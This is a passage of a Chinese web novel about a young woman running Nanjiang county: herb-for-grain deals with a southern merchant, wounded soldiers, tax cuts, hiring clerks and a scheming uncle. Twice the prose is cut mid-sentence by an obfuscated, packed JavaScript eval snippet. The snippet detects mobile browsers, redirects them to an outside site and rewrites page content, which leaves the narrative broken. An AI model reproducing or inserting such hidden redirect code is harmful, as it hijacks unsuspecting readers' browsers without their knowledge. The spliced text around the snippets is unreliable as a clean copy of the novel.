在他看来,码头附近的伤兵,都是花叶家粮食养着的。 若不是那些人,南江县不至于扣下他们那么多粮,即便扣下了,秋收之后也能还上。 他们一下船,就看到附近养伤的士兵,只觉得为粮食心疼。 苏清淡淡道:“风俗之坏,多起于富贵之奢淫。” 课本里这句话,她还是会背的,更能再说几句:“听说江南一带炫富,斗富,夸富频频,可是真的。” 但凡商贾兴盛之地,夸富奢淫极多,苏清骂的正是眼前人。 想比救人来说,穷奇奢靡才是恶行。 叶管家下意识侧了侧身子,避开腰间的好玉,叶山鸣拦住他道:“苏主事前些日子说仕途经济不好,如今又讲风俗坏于奢淫,真是字字珠玑。” 苏清说仕途经济的时候,叶家并未在南江县,却能知道的那么清楚,确实有意思。 这么看来,算准他们南江县药材成熟之期,并非难事。 苏清猜的没错。 叶山鸣此次来,只为药材。 怪不得那一万石粮食,不急着催要,果然另有深意。 他想的,是以药抵粮。 13.第 13 章 第13章 以药抵粮。 秋收之后,粮食价格比七月低了些。 但药材价格,却节节攀升。 各地都不太平,药材大概率紧缺。 按照叶山鸣的说法,他那一万五千石的粮,既不要利息,也不用七月的价格还银子。 只要把药材适当分他一些即可。 价格自然要商量商量。 在叶山鸣看来,这是各退一步的法子。 让苏清以如今的粮价还钱也好,又或者直接给粮,都是叶家吃亏。 其中利润差距自不用讲。 转而用药抵粮,苏清这里成本可控,他也能赚一笔。 叶山鸣离开衙门,在客栈等消息。 在他心里,此事十拿九稳。 衙门县丞主事捕头等人激烈讨论。 “分一些他们也可以。”户房主事道,“咱们种植成本不高,比给粮食划算,而且您不是说,要多留点粮在各处库房。” 田县丞也是这个想法,还能多个销路。 苏清点头,不过她道:“先问问他给的价格,然后再做打算。” 叶山鸣那边早有准备,直接给了张单子。 他也不客气,给出的价格要比市场低一些,甚至比军中还要低。 摆明了,他家在粮食上吃亏,那药材就要挣回来。 苏清大笔一挥,在所有价格上加了两成,再让人送回去。 顾从斯惊愕道:“这个价格,他如何会同意?” 本就是南江县衙门欠叶家的人情,人家就是来讨人情的啊。 不仅不还,还要加价? 果然,叶山鸣黑着脸,再次来到衙门:“本以为你是个有趣,知晓有来有往才是交际。” 不等叶山鸣继续说,苏清挑眉:“确实有来有往,我家三叔怎么回的南江县,叶大公子可知晓?” 叶山鸣一时讪讪,还好他脸皮厚:“原来是为这事,我不过途经某地,正好碰到你家亲戚,故而吩咐管家,让他再来南江县送种子时,捎他一程,这事不用感激。” 顾从斯看了看两人。 他一直在衙门,竟然完全不知道这件事。 苏清不咸不淡道:“那还真是谢谢了。” 两人眼神交汇,叶山鸣眼珠闪躲,最后叹口气。 他是想给苏清找点事,这不是没找成吗。 反而被拿住把柄,反将一军。 苏清干脆道:“用药抵粮没问题,价格涨一成。而且只能给你一半,剩下的一半,年后第二批药材再还。” 不等叶山鸣再说,苏清继续道:“这个价格放到江南,你家必然大赚一笔,不吃亏的。” “为何这样说?”叶山鸣见她说的笃定,“如今的价格,并不算高。” “马上都冬日,药材会飞涨一波。” “而且到明年春天,也不一定会回落。” 叶山鸣下意识道:“谁同你说的这些话。” 苏清随意看了他一眼,继续道:“以后还要做长久买卖,大家彼此有数即可。” 叶山鸣意识到,药材价格涨跌,是苏清自己的猜测。 而她稳坐南江县,就能推测外面药价,着实厉害。 等双方契约签订完成,叶山鸣笑道:“你若经商,必是个厉害商人。” 顾从斯皱眉:“她是朝廷官员家的女子,何故比作商贾。” “迂腐。”叶山鸣又朝苏清笑,“等你不做这官了,咱们不一定要当对手。” 文书把契约再次检查一遍,叶管家也把自家那份收起来,只听外面匆匆来报。 “苏主事!江那边又送来一批伤兵!”报信差役身后,还跟着他们熟悉的侯千户。 侯千户多次送伤员过来,还是头一次这般眼神闪躲。 苏清一看,便知怎么回事:“送来多少人,是不是地方不够用。” 侯千户点头,取下帽子,眼中带泪:“请苏主事再帮忙找地方,找人手。” 叶山鸣跟叶管事被请出衙门,听不到后面的话。 不过想想也知道,苏清必然不会拒绝。 她怎么从叶家抠银子,就怎么给伤员花钱。 “我说错了,她要做买卖,必然赔钱。”叶山鸣意味不明,看了看手上契凭。 伤员吃粮吃药。 那军中拨钱又难。 苏清若不知晓,那才怪了。 看着一批批残肢断臂的伤兵,被抬入衙门借来的民居。 再有简单培训过的药童妇人过去清洗伤口,烧火熬药,叶管家都忍不住感叹一句:“幸好江南没有战事,否则日子怎么过。” “单这些伤员,就要花多少银钱。” 叶山鸣眼睛一亮:“推迟回去的时间,南江县剩下的药材,我们或许也能带走。” “找人问问,军中的拨款到了没。” 此时的苏清已经不想看账册了。 以前她这的伤员,保持在八百到一千三百人之间,花费都让衙门不少人颇有微词。 即便为了卖药材给军中,也不用这样吧。 现在侯千户在一千二百人基础上,又拉来两千伤员。 别说衙门上下要疯了。 白大夫哭着干活不说,还找人来苏清这里带话:“人手不够用,药材也不够用。” “真的要支撑不住了。” 户房主事跟着道:“主事,库房就算有再多存粮,也扛不住这样的消耗。” “冬日各种物资的消耗都要翻倍,养不起的。” “倘若军中再不拨钱,别说伤员了,收敛尸体的事,咱们都承担不起。” 有书吏忍不住道:“其实,其实军中再不来收药材,咱们可以卖给叶家,叶家给的价格也不错。” 他说出不少人的心声。 药材不愁销路。 军中再不拨钱,再不过来买药。 他们干脆把药卖给其他人算了。 要是再把伤员的包袱甩了。 他们南江县岂不是更轻松。 可惜这话并不敢说,总 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16289642|182472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 觉得苏清肯定不答应。 一方面,江南叶家给的价格合理,出手大方。 另一方面,军中说要收药材的内官迟迟不来。 衙门众人的想法已然倾斜。 就算继续养着伤员,那也要先有钱有粮啊。 衙门银钱粮食越来越少,更多人都坐不住了。 大家都知道没粮的苦,更知道发不起俸禄是什么滋味。 还有那些种药材的农户,也等着银子过年。 “他们说腊月初十过来。”苏清道,“如今腊月初七,还有三日。” “再等等。” 谁料这一等,就到腊月十二。 期间叶山鸣还来了一次,看样子气定神闲,只字不提收药材的事。 但其他书吏却眼巴巴看着。 叶山鸣走到苏清身边,故意弯腰道:“没什么话想说?” 苏清头也不抬,直接推开他肩膀:“再说话,我就问你借钱了。” ??? 哪有你这样的官员? “好个女县官,欺男霸男啊。” 走进来的顾从斯听得眉头紧皱,绕开叶山鸣,递上县学的文书。 文书是报名参加县试的学生名单。 顾教谕跟苏三叔,还真办起来了。 苏清点点头,见叶山鸣还在,认认真真考虑道:“真的,你再借我点钱吧。” “我肯定还得起。” 叶山鸣把袖炉一收,头也不回离开,丢下一句:“军中的钱,没那么容易地拿。” 他最近这段时间,打听到不少消息。 朝局复杂。 前线打着仗,后面银钱却筹得极为艰难。 京城朝堂日日吵架。 苏清这么聪明的人,竟然把宝押在军中。 “再等等,药材一定降价卖给我。” 苏清看着叶山鸣背影,久久没有说话。 衙门银钱确实不多了,但最让她在意的,还是这位叶大公子的态度。 早就过了叶家商船离开的时间,他迟迟不走,肯定是为南江县剩下的药材。 难道他得到什么小道消息,军中那边出岔子了? 苏清从未觉得脑子这般清醒,越是这种时候,她便能冷静分析:“若军中真出问题。” “药材也只能卖给叶家。” 但药材价格,恐怕不如人意。 苏清做好最坏打算,让武捕头继续给江对岸的守备军送信。 腊月十六。 腊月十六之后,江面上冻,叶家商船必须离开。 她只能等到这个时候。 窗外大雪纷飞,梅娘找来不用的布头,把窗户缝隙塞得严严实实,尽量不漏风。 即便如此,苏清手指依旧冻的通红,想了半日也没点炭火。 等等再点吧,这也不是最冷的时候。 江对岸,北江县守备军。 “总兵怎么说?” “等消息,总兵大人连着上疏,皇上跟太后娘娘,未曾回复。” 14.第 14 章 过了八月十五。 眼看着麦子等农作物一茬茬熟了。 苏清对此并不陌生。 她本身就在乡下长大,每逢这个时候,就会跟着姥姥去各村给人看病。 苏清这会跟在运粮车后面捡麦子,捡上一捆,去跟村里人换梨吃。 现在看着秋收的场景,心情也格外好。 除了南江县县城外,下面还有二十个村子。 村子按照人口田地,分为上中下三等,每处的税收也要多次核对。 放在其他县里,这向来是个艰难的差事。 但这里是南江县,经过之前施粥赠药,各村百姓对苏主事非常信服。 尤其处置王乡绅之后,把他的不义之财悉数要回,如今各地大户都老实得很。 冲着这个,他们都会听从苏主事的命令。 “各地田税加起来,差不多有一千七百多万斤粮。” “去掉还给叶家的,还有一千六百万上下。” 顾从斯继续说:“按例交给府衙六成,剩下的四成,便是县里衙门的收入。” 苏清听到前面的数字,还在感慨苏县令留下来的底子不错。 但再听到最后一句,要交给府衙一半?! 那岂不是九百多万斤?! 折成银子,约等于七万多两银子。 府衙什么也不干,就要弄走他们这多银子? 做梦啊。 顾从斯已经了解苏清的想法,直接道:“这是每年的惯例,府衙也要分出一部分交给朝廷。” 苏清还是不说话,明显有所抗拒,但她也知道,不给肯定不行。 给多少,则要看她。 苏清道:“再算算账,把该扣的支出扣除。” “咱们县里还有那么多事,哪能把大半收益都给他们。” 这在顾从斯眼中,自然是不对的。 忠君爱国,忠于朝廷,是他从幼时起学的道理。 而且朝廷正逢危难之时,他们南江县情况好些,就该多付出才是。 苏清不知道他的想法,笔下已经在算施粥赠药花费的银钱,她要把这项支出添进去。 清淤泥,修码头,修房屋,买农具。 总之能添的全都添上。 算到最后,原本应该交给府衙九百多万斤粮食。 只剩下一百二十万。 即便如此,苏清还是心痛的要命。 “这都是南江县百姓辛辛苦苦种的,交上去实在可惜啊。” 税肯定是要交的。 但也要分情况。 像这种完全不能给地方支持的府衙,需要再看看。 顾从斯难得跟苏清有了分歧。 苏清只当不知道,吩咐武捕头安排人手去府城送秋税。 “交完之后,不用着急回来。” “在府城打探打探消息,看看外面是什么情况。” 武捕头听令,派了几个最机灵的手下过去。 等运粮队伍出发,苏清难得安慰顾从斯:“咱们南江县送去的粮食已经不少了。” “不信的话,等他们回来,你就知道了。” 外面那么乱。 能给些秋税,就是给足府城面子。 大家各扫门前雪还来不及,谁有这种闲工夫。 再者,一个知府逃跑的府衙,苏清并不认为这些粮食能到百姓手中。 “还是给多了。”苏清最后感慨道。 顾从斯并不接话,说了句回县学了。 衙门事情渐渐有条理起来,顾从斯并不需要一直在这。 苏清自然无所谓,笑眯眯点头。 见苏清不留他,甚至对云喜他们道:“人手还是太少了,若有合适的人选,可以推举进衙门。” “最好是读过书,识字。” “秀才?秀才最好。” 衙门书吏不过六个,差役十二个。 顶多加一个门房兼随从云喜。 还有帮忙倒茶水研磨的刘小妹,就是已故主簿的女儿,留她做做事,也是为了给刘家发主簿俸禄,不然母女两人日子难过。 所以说衙门本就没多少人手,运粮队伍一走,更是少的可怜。 现在手头终于宽裕了。 招人! 必须招人! 毕竟她也不是什么压榨员工的人。 招人的消息传出去,衙门众人都高兴的不行。 太好了。 终于招人了。 天知道他们在苏主事手下,一个人要身兼多少差事。 每日天不亮起来,天黑才躺下。 当然,苏主事也是这般,很多时候他们走了,主事还在批改公文。 再说,跟着苏主事做事,还有一种成就感? 反正她是这么说的。 现在百姓们看到他们,个个都很客气。 这跟之前的客气不同,以前多多少少带着惧怕,如今却是心悦诚服,因为感激才客气。 这种感觉太不一样了。 但凡感受过一次的人,绝对不会忘记。 让他们更加惊喜的是,苏主事道:“六个人,正好分到吏户礼兵刑工六房。” 苏清念了几个名字,其中最公正的书吏魏来,做吏房代主事。 她暂时没有权利,直接让他们做各房主事,故而加了个代字。 “但只有我在一日,你们好好办差,便不会亏待大家。” 听到这话,六个书吏哪有不高兴的。 魏来眼睛最亮,他本就是个读书一般的书生,秀才都没考上。 不少人都说他做事太直,不好相处。 没想到四十多了,却有这机缘,立刻谢过苏主事,恨不得立刻履行职责。 剩下五个书吏各有安排。 都是按照他们的性格能力定下职务。 其中一个叫罗飞跃的书吏跟着运粮队伍去了府城。 他还不知道,自己已经成了户房代主事。 知道后,定然高兴到极点。 剩下的十二个差役,有四个同去府城。 苏清跟武捕头对他们都有安排。 武捕头为总捕头,下面再分为三班衙役。 快班负责缉盗,壮班负责看管仓库跟罪犯,皂班负责站堂行刑。 每班一个捕头,下面差役不等。 也就是说,在这十二个人里,又选出三个捕头。 选中的三人自然是平时办差勤快,能力又不差的。 先把衙门架构搭好。 接着就按各部门的需求招人。 衙门正堂上,大家讨论的热火朝天。 十岁的刘小妹来送茶水时,还以为众人在吵架呢。 还是苏清拉着她笑:“坐下来看热闹吧。” 讨论到最后,六房各招两个书吏,三班下面招四个差役。 还有门房处,至少要招四个。 加起来都要二十八个人。 苏清立刻算了算每月所需俸禄。 完了,都有点后悔提招人的事了。 “要不再减?”苏清道,“月钱都要发不起了啊。” 衙门最开始的一二十人,大家职位有些变动,俸禄肯定涨了。 加起来,一个月就要发二十多两银子。 这还没算平时的伙食费。 现在再招二三十人,支出直接翻倍啊。 一想到衙门什么都不做,每个月净支出上百两,苏清就无比心痛。 维持衙门运转,实在太难了。 苏清抱着账本,含泪点头。 算了。 看在接下来差事更多的份上,还是招吧。 账本又划走一笔银子。 苏清还来不及难过,就在衙门看到个意外的人。 县学主事顾教谕,顾从斯的父亲。 硬要说的话,可能是她未来老公公。 平日没有什么事情,顾教谕并不来衙门。 他多数时间,都在县学看书。 说起来,叛军进城时,要不是他死守书库,县学的藏书也逃不过一把火。 因此,苏清对他还是很尊敬的。 见他过来,苏清问起缘由。 顾教谕是有些不好意思,他张了半天嘴,一直没能说出想法。 还是顾从斯到了后,直接道:“是明年童试的事。” 童试,就是考秀才的考试,一共三大场。 分为县试,府试,院试。 这第 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“当今圣上也是很注重科举人才的。” 苏清多多少少听过,但她还是道:“只怕是做无用功。” 说到这,顾从斯也还能理解。 不过苏清下意识接了句:“衙门本来就没钱,没必要浪费银子。” 此话出口,苏清心道不好。 这句话完美踩中顾从斯雷点啊。 他一个最正统的儒学生,一讲忠君爱国,二讲不沾铜臭。 这人因府衙粮税的事,最近总在闹别扭。 现在又拿银钱来玷污他最看重的科举。 果然,顾从斯脸色不好,顾教谕那边已经说不出话。 “怎么好这么说!” “到底是银钱重要,还是读书重要?” 苏清心道,那科举跟读书,也是两码事啊。 她此刻不想火上浇油,只笑:“送粮税的队伍,马上从府城回来。” “要不等等他们的消息,看看如今府城是个什么模样。” 这么一说,气氛缓和了些。 只是顾从斯愈发不来衙门。 想来确实生气。 想到顾从斯之前的帮助,苏清让云喜送了她娘做的糕点过去。 那边收倒是收了,人还是不来衙门干活。 “闹脾气归闹脾气,不干活不行啊。” 苏清叹口气。 少个免费办差的人,可惜。 九月初三。 由南江县书吏罗飞跃领着的运粮队伍,终于回到南江县。 同他们一起回来的,还有另一个人。 罗飞跃面色古怪,斜眼看向苏典吏,只带着满腔无语。 南江县出事的时候,这人跑的飞快。 若不是看在他是苏清苏主事的亲叔叔份上,大家都不会理他的。 谁料苏典吏一家三口,直接黏上他们,硬是跟着送粮队伍回来。 回到衙门,罗飞跃看向苏清的时候,满是愧疚。 因为大家都知道,这苏典吏回来,肯定没安好心。 苏清却不管这些,笑着道:“罗代主事,先歇歇吧,这一趟下来你们辛苦了。” 什么代主事? 书吏罗飞跃一头雾水。 其他同僚道:“咱们几个都成代主事了,你管户房,还能再招两个人手。” “我们都招好了,本来想帮忙的。但苏主事说,你户房的人,让你自己招!” 办一趟差回来。 他升官了!? 其余四个差役,其中一个升为皂班捕头,另外几个为捕快,月钱都涨了些。 顿时,衙门公堂上一片欢呼。 升职! 加薪! 放哪都是大好事! 不高兴才出鬼了! 坐在上位的苏清笑笑,慢悠悠盯着自己的亲叔叔苏典吏。 到底是他这个挂名的典吏好用。 还是她这个实权的主事好用。 此刻,不言而喻。 15.第 15 章 苏典吏没想到,重回南江县,坐在高位上的,还真是他侄女苏清。 事情要从叛军即将入城开始说。 那会他就劝自己二哥,也就是苏县令。 周围不少县令都跑了,他们要是不跑,那就是傻子。 但他二哥就是真傻子,死活不走。 他傻,自己可不傻。 苏典吏离开带着老婆孩子跑路,走之前还顺手二哥家的细软。 毕竟在他看来,叛军一入城,这些东西都会归他人。 还不如便宜了他。 事实也如他所料。 他二哥苏县令确实死了。 只是没想到,叛军被赶跑后,南江县跟其他县不同,没有一直乱下去。 说是什么苏县令的女儿做主事,把南江县恢复的很好。 在广乐府十几个县里,唯有他们最突出。 苏典吏原本不信,但路上碰到江南一家商船的人。 下来采买的船夫,对南江县赞不绝口。 等他仔细去问,才知道怎么回事。 苏典吏第一反应是。 不可能吧?! 苏清那小丫头片子,三子蹦不出一个屁,平日最是胆小,怎么可能当主事。 他家二嫂肯定也不行,那是个烂好人,谁来借钱都给,什么屁话都信。 如果是二嫂梅娘当家,衙门都能送出去。 总之一句话。 他不信! “我可是她亲三叔,她要是有这本事,我会不知道?” 这话不知道怎么传到船主的耳朵里。 那船主还透露一个消息。 说南江县不仅是广乐府十几个县恢复最好的,他们的粮食产量也不错。 估计很快会到府城交粮税。 此话一出,苏典吏站了起来。 他距离府城很近的。 要不然去看看情况? 苏典吏带着妻儿,艰难走到府城,又找到去交粮税的罗飞跃等差役。 苏典吏头一句话便是:“你们蠢吗?!” “现在下面各县,谁还交粮税?!” “白糟蹋了啊!” 有粮就放到衙门库房啊!至少他们有吃喝! 接下来的事,就不必说了。 苏典吏他们早就身无分文,之前带的金银细软,根本扛不住外地飞涨的粮价,再加上乱贼极多,还被偷抢大半。 遇到南江县的人,他们一家肯定死缠着不放,死皮赖脸回了此地。 苏清听着罗飞跃罗户房说着,心里已经大概明白。 在听到江南商船船主时,颇有些无语。 “苏主事,苏典吏大概是想夺权。”罗户房到底跟苏典吏走了一路,不仅问明白他这段时间的经历。 更弄明白他的目的。 但他刚从罗书吏,成为罗户房。 若换个人当家做主,那他也太亏了啊。 而这句话,就是表明自己的立场。 他是站在苏清苏主事这里的! 苏清自然明白他的意思,安抚道:“放心,苏三叔久不在衙门,很多事情都不熟悉。” 他走的时间长,还想占据这个位置? 怕不是做梦。 苏清的话让罗户房安心,随即禀告此次行程。 还未开口,几日不见的顾从斯主动来了书房,坐在之前的位置上。 苏清道:“继续说。” 罗户房点头。 他这次去府衙,主要两个任务。 一是交粮税,这不用讲,差事办的极好。 “十六个县里,除了府城附近的两个县,就咱们南江县交了今年的税粮。” “在这三个里,咱们交的一百二十万斤粮,数额也是最多的。” 苏清对此并不意外。 所以才心疼啊,早知道少给点了。 府衙那边自然很高兴。 他们并无知府,也没有人代任,所以六司三班各管各的差事。 府衙户司对苏清很满意,还夸了她巾帼不让须眉,替父亲履责,实为大孝。 “还说让您安心做事,以后多多来往。”罗户房传达了府衙户司的意思。 放到平时,她一个女子当主事,他们必然意见颇多。 但披上一层替父履责,再加上世道不太平,以及那么多税粮的份上。 即便不支持,也不会有太多人反对。 第一件差事,罗户房做的很好。 第二件,就是多停留几日,打听消息了。 “大家都知道,叛军其实并未进入府城。” “但知府,通判,乃至学政等人,都在事发之前逃走。” “京城对此极为震怒,已经免了这些人的职位,但是广乐府情况复杂,至今无人愿意赴任。”罗户房说着,忍不住感叹,府城都这样,何况各县。 苏清点头:“肯定没人接手,广乐府战事未平,十七个县里,十四个县太平,还有三个依旧在叛军手中。” “再说,各地粮价飞涨,盗贼频起,还有瘟疫。” 无人接手,实属正常。 苏清虽未说完,但意思很明显了。 罗户房连连点头:“府衙官吏也是这样说的,估计这位置,要空悬许久。” “听兵司的人说,京城还想让府衙负责朝廷军的后勤补给,也就更没人愿意过来。” 谁来谁背锅。 这种吃力不讨好的差事,所有人避之不及。 顾从斯听到这里,嘴唇抿起。 他本来想问府学那边,对明年各县县试有没有安排。 听到这,自然明白在方才那些事面前,县试是个不值一提的事。 可他不满的,并非县试不能成。 而是身为朝廷官员,为什么不能为百姓考虑。 不仅知府等人逃走。 甚至无人敢接手,这种时候不迎难而上,之前的圣贤书,不是白读了吗。 苏清余光看到顾从斯的表情。 有心想说,这大概就读书人还未进社会的感觉? 读书学的,跟办差用的。 真的不一样啊。 算了,谁还没有从象牙塔出社会的幻灭呢。 苏清无意指责,反而多了份包容。 外面的情况了解了,也让她愈发要守护如今的南江县。 不能因为外面都在摆烂,他们就得以放松。 比烂这种事,真的没意思。 苏清道:“辛苦罗户房了,你跟那四位差役,好好歇息几日。养足精神后,招两个户房书吏给你打下手。” 罗户房立刻点头。 什么休息啊,他恨不得立刻招人! 当然,他不休息,其他人也要休的。 等罗户房离开,书房只剩苏清跟顾从斯两人。 见顾从斯不说话,苏清难免有点尴尬,干脆继续埋头办公。 过了会,顾从斯道:“我爹对县试十分执着,他肯定要办。” “苏主事,能不能想个办法劝他。” 说到这,苏清问出心中疑惑:“为何如此上心,不过停办一年而已。” “想来府衙那边,不会一直没有知府,没有学政。京城也不会允许的。” 顾从斯颇有些艰难,抬眼看了下苏清:“明年应有秋闱。” 应有秋闱? 苏清这才想到,秋闱就是乡试,三年一次。 而顾从斯作为秀才,肯定要参加明年乡试的。 但是,这童试县试都办不成。 恐怕乡试更难。 顾教谕怕的,是乡试推迟,他儿子考不了举人。 作为科举出身,改变命运的顾教谕。 他当年考上秀才,经恩师的关系成为县学夫子,再成为教谕。 便让顾教谕对科举抱有极大的期待。 尤其是他儿子顾从斯,还是个极会读书的。 十六岁的秀才,举人也有望。 倘若乡试推迟,对他的来说,是绝大的打击。 毕竟举人跟秀才之间,是天壤之别。 到时候一家人搬离战乱的广乐府,也不是没可能。 苏清忽然想到什么。 顾从斯却道:“跟婚事无关,我爹他早就盼着乡试。” 什么叫欲盖弥彰啊。 苏清无奈,你要是不着急解释,反而没那样明显。 不就是你爹想让你赶紧考上举人,然后顺理成章离开南江县,离开广乐府。 到时候就没人提起你我之间的口头婚约。 苏清对此并不在意,随意点头:“不管有没有关系,反正咱们县的县试,我肯定不会办的。” “我不会把银钱跟人力浪费在这上面。” 虽说秋税已收,衙门还招了新人。 但要做的事太多。 若明知是浪费银钱,还要去办县试,那她跟千金买顾从斯她爹一笑有什么区别。 别说买顾教谕那个老头的笑了。 买顾从斯的笑也不值得啊。 苏清说的坚决,也是这样做的。 不管在拒绝办县试的事上。 还是苏三叔偷偷想夺权上,都被她拒绝的很彻底。 苏三叔暗地里痛骂:“以前装的很温顺,像个小家碧玉。” “现在看来,就是母夜叉,就是铁算盘,抠门精。” 他也只敢关起门骂。 骂多了,再打苏三婶一顿。 有时候连他儿子也不放过。 要说苏清他爹那一辈,共有三兄弟。 苏家老大在家务农,供养老母亲。 老二苏县令会读书,在外做官。 老三苏三叔也读了几年,跟在二哥身边做个左右手,无论能力如何,至少是一家人,值得信赖。 而且苏县令可以约束他大部分行为。 当然,那是没出事的时候。 现在苏县令没了,苏三叔直接没了限制。 逃亡途中,开始打骂妻儿,觉得他们俩都是累赘。 苏三婶本以为回到南江县,就会好点。 没想到家暴这种事,开始了就停不下来。 不过他们夫妇俩的共同点,就是一起咒骂苏清。 觉得是她抢了苏典吏的位置,才让他们一家日子难过。 本以为只要自己回来,凭借现在的情况,他就能取代苏清的位置。 毕竟自己有典吏的官职。 还是苏清的亲三叔。 但无论是衙门众人,还是梅娘,或者主簿朱娘子。 甚至周围百姓,没有一个听他的。 甚至有人道:“你要是当了衙门主事,南江县就完了!” “你比不上苏清,别折腾了。” 最后这句话,是苏典吏以前的酒友所说。 这人做事不算正派,以前凑在一起,颇有些狐朋狗友的感觉。 可他全家吃过苏清“借”过来的粮,全家吃过苏清想发设法赠的药。 这种情况下,但凡有一丁点良心,都不会支持苏典吏。 不为苏清,也为自己以后的生活啊。 苏典吏没办法,只要又去打酒解闷。 不过在酒馆里,遇到个意外的人。 “顾教谕,你也开始喝酒了!?” 顾教谕没有这个爱好,只是最近万事不顺,他只能借酒解闷。 如果没有县试,没有乡试。 那读书人的前程怎么办。 他儿子若一直在衙门给苏家大姐儿打下手。 岂不是前途全无。 不过顾教谕这种烦恼,不打算跟苏典吏说,他们不是一路人。 但苏典吏却听到些风声。 再看到顾教谕买酒的银钱,忽然心生一计。 “顾教谕,你想办县试,来找我啊。” 顾教谕下意识道:“南江县的主事,只能是苏家大姐儿。” 潜台词是。 你不行! 你跟她没法比! 苏典吏咬牙。 他说的不是这个! 等他低语几声,顾教谕犹豫了。 - 苏清大早起来,就看到苏典吏跟顾教谕两人站在一起。 “认真的?你们要一起办明年的县试?” “不用衙门出钱,全由你们负责?” 苏清看想顾教谕,确定道:“要跟苏三叔合作?” 苏清三个问句,说的苏典吏都不确定了。 “你别管那么多,反正不用你出钱,这县试我也给办成。”苏典吏继续道,“南江县学风不错,想要参加县试的学生,至少一两百人,多数都是富家子弟。” “他们最近都在询问县试的事了,若不办了,岂不是让他们难过?” 苏典吏说的也没错。 如今都已经九月初十。 不少书生都在问明年县试的事。 见苏清还是不同意,苏典吏面上闪过不爽。 一个侄女,敢骑在他头上。 老虎不发威还真当他是病猫了。 正说着,门房跑过来道:“苏主事,门外有十来个书生求见,询问明年县试的事。” 这些人吵吵嚷嚷,语气带着不忿。 颇有些埋怨苏清的意思。 这些读书人出身都不错,自认没受过苏清的施粥赠药的恩情,故而闹事闹的理直气壮。 如果仔细看的话,就能发现,里面还有王乡绅王焕家的族人。 那王焕被整的厉害,已然服了,但手底下的小子们各有想法。 “我告诉你,如果南江县不办县试,会有很多读书人闹事!” 苏清再次看向苏三叔,又看看一脸茫然的顾教谕,笑道:“好吧,那你们办吧。” “但实现说明了,此事跟衙门无关,皆是县学操办。” “如何?” 好好好! 答应了就行。 苏典吏跟顾教谕得了准信,这才离开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16307613|182472||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们要赶紧筹办明年二月的县试! 武捕头等他们走了,才忍不住道:“苏主事不用惯着他们的,难道是怕书生们闹事?” 苏清挑挑眉,淡定道:“俗话说,秀才造反,三年不成,他们甚至还不是秀才。我会怕这个?” 顾秀才顾从斯走进来,开口道:“那为何同意。” 苏清不答,只让大家赶紧做事。 都九月份了,各村烧毁的房屋修缮的怎么样了。 说话间,天气就要降温,不能耽搁。 顾从斯却隐隐觉得,这是个陷阱,但以他的阅历,看不出哪里有问题。 苏清叹口气,等其他人都走了,开口道:“放心,顾教谕不会有事。” 顾从斯帮她不少,她自然不会忘恩负义。 要问那是什么陷阱。 自然是多做多错。 苏典吏留着是个祸害,但要真正处置他,却没个名头。 既然他要冒头,那就让他冒。 出错了,才能一并收拾了。 再说,如期举办县试这种事,对她并非没有好处。 至于顾教谕。 大家都知道他的性格,不会怪罪。 顾从斯还想追问,却不知道从哪开口。 他看向苏清的字,其实写的还不是很好,四书五经更是没读过。 但在政务上,却远超南江县所有人。 顾从斯沉默做事,心里百感交集。 南江县县试如期举行的消息,传遍县里各地。 这让不少书生高兴至极。 多年寒窗,每一年考试,就是一次机会。 错过一次少一次,他们必须努力。 也有人长了心眼。 觉得县试能办,府城那边能办吗? 这事要三思啊。 有两个书生,还从乡下赶过来,在衙门附近踌躇,想问问情况。 罗户房正好路过,被两人拦路请教。 罗户房见他们言语谨慎,谈吐诚恳,说了实话:“我跟苏主事都认为,府城那边,大概没精力操持科举之事。” 这两人叹口气,谢过罗户房,准备打道回家。 “慢着,你们两个现在做什么营生,家里情况如何。” 问这个做什么? 路过的工房代主事笑嘻嘻道:“这是衙门罗户房,手底下缺两个书吏,苦于找不到合适的人手,你们快答吧。” 罗户房要求多。 说他们到底管着本县土地户口财政赋税。 必须要能写会算,为人谨慎的人。 但这些人,都被其他各房先挑走了啊。 真当人才是大白菜吗,哪都有。 而这两个书生几乎不敢相信自己的耳朵,赶紧说他们就在家务农,平日帮人写信临帖赚些银钱。 这还多亏村里夫子收的束脩不多,否则他们都要读不下去了。 因此,他们对报名考试的事,十分谨慎。 “今年县学报名费,竟然要八十文,比往年足足多了五十文。” “即便世道艰难,也太多了。” 果然是苏典吏能做出的事。 罗户房心里吐槽,点头道:“好吧,你们若有时间,就来户房试一试,三天为限,若不合适便一拍两散。” “若合适,就留下实习,为期三个月。” “期间俸米照发,如何?” 如何? 当然好! 就算只能留三个月。 不对,三天。 他们也有口饭吃。 只要好好干,以后还有个营生,打不了明年再考。 这两人报名不成功,却入职成功,也算缘分。 三日过后,罗户房带他们见了苏主事,正式开始实习。 初见苏主事。 两个书生也觉得她年纪小。 但真正开口,苏主事言谈却井井有条,十分令人信赖。 不愧是能救起南江县的人。 果然人不可貌相啊。 有新人来,苏清看的也开心。 尤其是那个叫费开宇的,今年不过十八,眉眼一般的俊朗。 有这样的手下,看着就让人高兴啊。 顾从斯放下手里公文,开口道:“苏主事,这五个村的房屋已经修缮完毕,您看看。” 苏清注意力被转移,顾从斯则抬头看了看那个叫费开宇的。 连秀才都不是,造反都没机会的人。 “你都去看过了?修的怎么样,买的材料都用上了吗。”苏清继续问道,“我记得他们村还有两个桥要修,要是有剩余的木料,就组织人手把桥修了。” 